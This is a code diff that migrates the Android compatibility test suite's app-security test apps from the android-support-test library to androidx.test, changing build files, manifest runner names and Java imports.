diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/AndroidManifest.xml
index 2f3a374..50c1a4d 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/AndroidManifest.xml
@@ -39,7 +39,7 @@
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="com.android.cts.isolatedsplitapp" />
</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/src/com/android/cts/isolatedsplitapp/SplitAppTest.java b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/src/com/android/cts/isolatedsplitapp/SplitAppTest.java
index b85e21b..300f978 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/src/com/android/cts/isolatedsplitapp/SplitAppTest.java
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/src/com/android/cts/isolatedsplitapp/SplitAppTest.java
@@ -27,9 +27,10 @@
import android.content.res.Configuration;
import android.content.res.Resources;
import android.os.Bundle;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Rule;
import org.junit.Test;
diff --git a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000000000ffff/Android.mk b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000000000ffff/Android.mk
index db83bb0..a064696 100644
--- a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000000000ffff/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000000000ffff/Android.mk
@@ -20,7 +20,7 @@
LOCAL_SRC_FILES := $(call all-java-files-under, ../src-common) $(call all-java-files-under, src)
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
LOCAL_SDK_VERSION := current
diff --git a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000000000ffff/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000000000ffff/AndroidManifest.xml
index 2a63cd7..7469dfa 100644
--- a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000000000ffff/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000000000ffff/AndroidManifest.xml
@@ -20,7 +20,7 @@
<application/>
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="com.android.cts.majorversion" />
</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version00000000ffffffff/Android.mk b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version00000000ffffffff/Android.mk
index dd32f59..b5e5ceb 100644
--- a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version00000000ffffffff/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version00000000ffffffff/Android.mk
@@ -20,7 +20,7 @@
LOCAL_SRC_FILES := $(call all-java-files-under, ../src-common) $(call all-java-files-under, src)
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
LOCAL_SDK_VERSION := current
diff --git a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version00000000ffffffff/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version00000000ffffffff/AndroidManifest.xml
index 934deec..ab9fc9e 100644
--- a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version00000000ffffffff/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version00000000ffffffff/AndroidManifest.xml
@@ -20,7 +20,7 @@
<application/>
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="com.android.cts.majorversion" />
</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ff00000000/Android.mk b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ff00000000/Android.mk
index d534b7b..d6117a9 100644
--- a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ff00000000/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ff00000000/Android.mk
@@ -20,7 +20,7 @@
LOCAL_SRC_FILES := $(call all-java-files-under, ../src-common) $(call all-java-files-under, src)
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
LOCAL_SDK_VERSION := current
diff --git a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ff00000000/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ff00000000/AndroidManifest.xml
index c7b9dd0..1cafa92 100644
--- a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ff00000000/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ff00000000/AndroidManifest.xml
@@ -20,7 +20,7 @@
<application/>
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="com.android.cts.majorversion" />
</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ffffffffff/Android.mk b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ffffffffff/Android.mk
index 72c9914..0f80843 100644
--- a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ffffffffff/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ffffffffff/Android.mk
@@ -20,7 +20,7 @@
LOCAL_SRC_FILES := $(call all-java-files-under, ../src-common) $(call all-java-files-under, src)
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
LOCAL_SDK_VERSION := current
diff --git a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ffffffffff/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ffffffffff/AndroidManifest.xml
index 91d4e39..24a6d63 100644
--- a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ffffffffff/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ffffffffff/AndroidManifest.xml
@@ -20,7 +20,7 @@
<application/>
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="com.android.cts.majorversion" />
</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/MajorVersionApp/src-common/com/android/cts/majorversion/VersionTest.java b/hostsidetests/appsecurity/test-apps/MajorVersionApp/src-common/com/android/cts/majorversion/VersionTest.java
index e69e14b..921a724 100644
--- a/hostsidetests/appsecurity/test-apps/MajorVersionApp/src-common/com/android/cts/majorversion/VersionTest.java
+++ b/hostsidetests/appsecurity/test-apps/MajorVersionApp/src-common/com/android/cts/majorversion/VersionTest.java
@@ -16,18 +16,17 @@
package com.android.cts.majorversion;
+import static org.junit.Assert.assertEquals;
+
import android.content.pm.PackageInfo;
import android.content.pm.PackageManager;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-
@RunWith(AndroidJUnit4.class)
public class VersionTest {
@Test
diff --git a/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/Android.mk b/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/Android.mk
index e08ac6f..a5807f0 100644
--- a/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/Android.mk
@@ -18,7 +18,7 @@
LOCAL_MODULE_TAGS := tests
LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
LOCAL_JAVA_LIBRARIES := android.test.base.stubs
diff --git a/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/AndroidManifest.xml
index 8b599f2..cb7cf5c 100644
--- a/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/AndroidManifest.xml
@@ -20,7 +20,7 @@
<uses-library android:name="android.test.runner" />
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="com.android.cts.multiuserstorageapp" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
diff --git a/hostsidetests/appsecurity/test-apps/NoRestartApp/Android.mk b/hostsidetests/appsecurity/test-apps/NoRestartApp/Android.mk
index 656f54a..1797c75 100644
--- a/hostsidetests/appsecurity/test-apps/NoRestartApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/NoRestartApp/Android.mk
@@ -20,7 +20,7 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
LOCAL_PACKAGE_NAME := CtsNoRestartBase
LOCAL_SDK_VERSION := current
diff --git a/hostsidetests/appsecurity/test-apps/NoRestartApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/NoRestartApp/AndroidManifest.xml
index a8aa042..0d2ded5 100644
--- a/hostsidetests/appsecurity/test-apps/NoRestartApp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/NoRestartApp/AndroidManifest.xml
@@ -39,7 +39,7 @@
</activity>
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="com.android.cts.norestart" />
</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/NoRestartApp/src/com/android/cts/norestart/NoRestartTest.java b/hostsidetests/appsecurity/test-apps/NoRestartApp/src/com/android/cts/norestart/NoRestartTest.java
index 7c9dc2c..3582ed7 100644
--- a/hostsidetests/appsecurity/test-apps/NoRestartApp/src/com/android/cts/norestart/NoRestartTest.java
+++ b/hostsidetests/appsecurity/test-apps/NoRestartApp/src/com/android/cts/norestart/NoRestartTest.java
@@ -17,8 +17,9 @@
package com.android.cts.norestart;
import android.content.Intent;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/hostsidetests/appsecurity/test-apps/OrderedActivityApp/Android.mk b/hostsidetests/appsecurity/test-apps/OrderedActivityApp/Android.mk
index 67fe9f4..9784c60 100644
--- a/hostsidetests/appsecurity/test-apps/OrderedActivityApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/OrderedActivityApp/Android.mk
@@ -16,7 +16,7 @@
include $(CLEAR_VARS)
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
# tag this module as a cts test artifact
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
diff --git a/hostsidetests/appsecurity/test-apps/OrderedActivityApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/OrderedActivityApp/AndroidManifest.xml
index 383f000..faefff2 100644
--- a/hostsidetests/appsecurity/test-apps/OrderedActivityApp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/OrderedActivityApp/AndroidManifest.xml
@@ -130,6 +130,6 @@
</receiver>
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.appsecurity.cts.orderedactivity" />
</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/OrderedActivityApp/src/android/appsecurity/cts/orderedactivity/PackageResolutionTest.java b/hostsidetests/appsecurity/test-apps/OrderedActivityApp/src/android/appsecurity/cts/orderedactivity/PackageResolutionTest.java
index e7ff989..6ce3fa2 100644
--- a/hostsidetests/appsecurity/test-apps/OrderedActivityApp/src/android/appsecurity/cts/orderedactivity/PackageResolutionTest.java
+++ b/hostsidetests/appsecurity/test-apps/OrderedActivityApp/src/android/appsecurity/cts/orderedactivity/PackageResolutionTest.java
@@ -16,18 +16,16 @@
package android.appsecurity.cts.orderedactivity;
-import static org.junit.Assert.assertTrue;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertNotNull;
-import android.app.Activity;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.content.pm.ResolveInfo;
import android.net.Uri;
-import android.os.Bundle;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/hostsidetests/appsecurity/test-apps/PackageAccessApp/Android.mk b/hostsidetests/appsecurity/test-apps/PackageAccessApp/Android.mk
index dfa703a..e2f9e12 100644
--- a/hostsidetests/appsecurity/test-apps/PackageAccessApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/PackageAccessApp/Android.mk
@@ -22,7 +22,7 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
LOCAL_STATIC_JAVA_LIBRARIES := \
- android-support-test \
+ androidx.test.rules \
ub-uiautomator
LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/hostsidetests/appsecurity/test-apps/PackageAccessApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/PackageAccessApp/AndroidManifest.xml
index 8558b73..0e416d9 100644
--- a/hostsidetests/appsecurity/test-apps/PackageAccessApp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/PackageAccessApp/AndroidManifest.xml
@@ -20,7 +20,7 @@
<uses-library android:name="android.test.runner" />
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="com.android.cts.packageaccessapp"
android:label="Test to check package visibility."/>
</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/PackageAccessApp/src/com/android/cts/packageaccessapp/PackageAccessTest.java b/hostsidetests/appsecurity/test-apps/PackageAccessApp/src/com/android/cts/packageaccessapp/PackageAccessTest.java
index ad64806..dc33ee3 100644
--- a/hostsidetests/appsecurity/test-apps/PackageAccessApp/src/com/android/cts/packageaccessapp/PackageAccessTest.java
+++ b/hostsidetests/appsecurity/test-apps/PackageAccessApp/src/com/android/cts/packageaccessapp/PackageAccessTest.java
@@ -15,8 +15,6 @@
*/
package com.android.cts.packageaccessapp;
-import static junit.framework.Assert.assertFalse;
-
import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertNull;
import static org.junit.Assert.fail;
@@ -24,12 +22,12 @@
import android.content.pm.PackageInfo;
import android.content.pm.PackageManager;
import android.content.pm.PackageManager.NameNotFoundException;
-import android.support.test.InstrumentationRegistry;
import android.support.test.uiautomator.UiDevice;
+import androidx.test.InstrumentationRegistry;
+
import org.junit.Before;
import org.junit.Test;
-import org.junit.internal.runners.statements.Fail;
import org.junit.runner.RunWith;
import org.junit.runners.JUnit4;
diff --git a/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/Android.mk b/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/Android.mk
index 184b73f..8521093 100644
--- a/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/Android.mk
@@ -21,7 +21,7 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
LOCAL_PACKAGE_NAME := CtsPermissionDeclareApp
diff --git a/hostsidetests/appsecurity/test-apps/PermissionDeclareAppCompat/Android.mk b/hostsidetests/appsecurity/test-apps/PermissionDeclareAppCompat/Android.mk
index a5c227a..5f48099 100644
--- a/hostsidetests/appsecurity/test-apps/PermissionDeclareAppCompat/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/PermissionDeclareAppCompat/Android.mk
@@ -21,7 +21,7 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_SDK_VERSION := 16
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
LOCAL_PACKAGE_NAME := CtsPermissionDeclareAppCompat
diff --git a/hostsidetests/appsecurity/test-apps/PermissionPolicy25/Android.mk b/hostsidetests/appsecurity/test-apps/PermissionPolicy25/Android.mk
index a8d659b..d93dc25 100644
--- a/hostsidetests/appsecurity/test-apps/PermissionPolicy25/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/PermissionPolicy25/Android.mk
@@ -21,9 +21,9 @@
LOCAL_MODULE_TAGS := tests
LOCAL_STATIC_JAVA_LIBRARIES := \
- android-support-test \
- compatibility-device-util \
- ctstestrunner \
+ androidx.test.rules \
+ compatibility-device-util-axt \
+ ctstestrunner-axt \
LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/hostsidetests/appsecurity/test-apps/PermissionPolicy25/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/PermissionPolicy25/AndroidManifest.xml
index 10484fb..5733f89 100644
--- a/hostsidetests/appsecurity/test-apps/PermissionPolicy25/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/PermissionPolicy25/AndroidManifest.xml
@@ -24,7 +24,7 @@
</application>
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="com.android.cts.permission.policy" />
</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/PermissionPolicy25/src/com/android/cts/permission/policy/PermissionPolicyTest25.java b/hostsidetests/appsecurity/test-apps/PermissionPolicy25/src/com/android/cts/permission/policy/PermissionPolicyTest25.java
index 2db1f41..d9dde12 100644
--- a/hostsidetests/appsecurity/test-apps/PermissionPolicy25/src/com/android/cts/permission/policy/PermissionPolicyTest25.java
+++ b/hostsidetests/appsecurity/test-apps/PermissionPolicy25/src/com/android/cts/permission/policy/PermissionPolicyTest25.java
@@ -22,7 +22,9 @@
import android.content.pm.PackageInfo;
import android.content.pm.PackageManager;
import android.content.pm.PermissionInfo;
-import android.support.test.InstrumentationRegistry;
+
+import androidx.test.InstrumentationRegistry;
+
import org.junit.Test;
/**
diff --git a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/Android.mk b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/Android.mk
index d998a77..4c8dcd5 100644
--- a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/Android.mk
@@ -23,7 +23,7 @@
LOCAL_MODULE_TAGS := tests
LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test compatibility-device-util ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules compatibility-device-util-axt ctstestrunner-axt
LOCAL_JAVA_LIBRARIES := android.test.base.stubs
# Tag this module as a cts test artifact
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
diff --git a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/AndroidManifest.xml
index 58f34b9..95169b6 100644
--- a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/AndroidManifest.xml
@@ -23,7 +23,7 @@
</application>
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="com.android.cts.privilegedupdate" />
</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/Android.mk b/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/Android.mk
index 51699dd..1ecc5a4 100644
--- a/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/Android.mk
@@ -18,7 +18,7 @@
LOCAL_MODULE_TAGS := tests
LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
diff --git a/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/AndroidManifest.xml
index 03884c9..4713beb 100644
--- a/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/AndroidManifest.xml
@@ -20,7 +20,7 @@
<uses-library android:name="android.test.runner" />
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="com.android.cts.readexternalstorageapp" />
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
diff --git a/hostsidetests/appsecurity/test-apps/SharedUidInstall/Android.mk b/hostsidetests/appsecurity/test-apps/SharedUidInstall/Android.mk
index 22464bd..331dc2e 100644
--- a/hostsidetests/appsecurity/test-apps/SharedUidInstall/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SharedUidInstall/Android.mk
@@ -21,7 +21,7 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
LOCAL_PACKAGE_NAME := CtsSharedUidInstall
diff --git a/hostsidetests/appsecurity/test-apps/SharedUidInstallDiffCert/Android.mk b/hostsidetests/appsecurity/test-apps/SharedUidInstallDiffCert/Android.mk
index a73d0fc..9dc335e 100644
--- a/hostsidetests/appsecurity/test-apps/SharedUidInstallDiffCert/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SharedUidInstallDiffCert/Android.mk
@@ -21,7 +21,7 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
LOCAL_PACKAGE_NAME := CtsSharedUidInstallDiffCert
diff --git a/hostsidetests/appsecurity/test-apps/SimpleAppInstall/Android.mk b/hostsidetests/appsecurity/test-apps/SimpleAppInstall/Android.mk
index 7180a10..13a0b63 100644
--- a/hostsidetests/appsecurity/test-apps/SimpleAppInstall/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SimpleAppInstall/Android.mk
@@ -21,7 +21,7 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
LOCAL_PACKAGE_NAME := CtsSimpleAppInstall
diff --git a/hostsidetests/appsecurity/test-apps/SimpleAppInstallDiffCert/Android.mk b/hostsidetests/appsecurity/test-apps/SimpleAppInstallDiffCert/Android.mk
index bcd8a4e..21e83c2 100644
--- a/hostsidetests/appsecurity/test-apps/SimpleAppInstallDiffCert/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SimpleAppInstallDiffCert/Android.mk
@@ -21,7 +21,7 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
LOCAL_PACKAGE_NAME := CtsSimpleAppInstallDiffCert
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/Android.mk
index c63bcb6..0e77a2d 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/Android.mk
@@ -19,7 +19,7 @@
include $(CLEAR_VARS)
LOCAL_MODULE_TAGS := tests
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
@@ -52,7 +52,7 @@
LOCAL_MODULE_TAGS := tests
LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
@@ -83,7 +83,7 @@
LOCAL_MODULE_TAGS := tests
LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
@@ -113,7 +113,7 @@
LOCAL_MODULE_TAGS := tests
LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/AndroidManifest.xml
index f56398e..cb01d2b 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/AndroidManifest.xml
@@ -53,7 +53,7 @@
<uses-library android:name="android.test.runner" />
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="com.android.cts.splitapp" />
</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/revision/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/revision/AndroidManifest.xml
index a17d470..d2bd1da 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/revision/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/revision/AndroidManifest.xml
@@ -39,7 +39,7 @@
<uses-library android:name="android.test.runner" />
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="com.android.cts.splitapp" />
</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/StorageAppA/Android.mk b/hostsidetests/appsecurity/test-apps/StorageAppA/Android.mk
index ebbc892..f2b7117 100644
--- a/hostsidetests/appsecurity/test-apps/StorageAppA/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/StorageAppA/Android.mk
@@ -18,7 +18,7 @@
LOCAL_MODULE_TAGS := tests
LOCAL_SDK_VERSION := test_current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
LOCAL_JAVA_LIBRARIES := android.test.base.stubs
diff --git a/hostsidetests/appsecurity/test-apps/StorageAppA/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/StorageAppA/AndroidManifest.xml
index 688bb9d..bb5054e 100644
--- a/hostsidetests/appsecurity/test-apps/StorageAppA/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/StorageAppA/AndroidManifest.xml
@@ -25,7 +25,7 @@
android:exported="true" />
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="com.android.cts.storageapp_a" />
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
diff --git a/hostsidetests/appsecurity/test-apps/StorageAppB/Android.mk b/hostsidetests/appsecurity/test-apps/StorageAppB/Android.mk
index 3a5462e..76bfce6 100644
--- a/hostsidetests/appsecurity/test-apps/StorageAppB/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/StorageAppB/Android.mk
@@ -18,7 +18,7 @@
LOCAL_MODULE_TAGS := tests
LOCAL_SDK_VERSION := test_current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
LOCAL_JAVA_LIBRARIES := android.test.base.stubs
diff --git a/hostsidetests/appsecurity/test-apps/StorageAppB/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/StorageAppB/AndroidManifest.xml
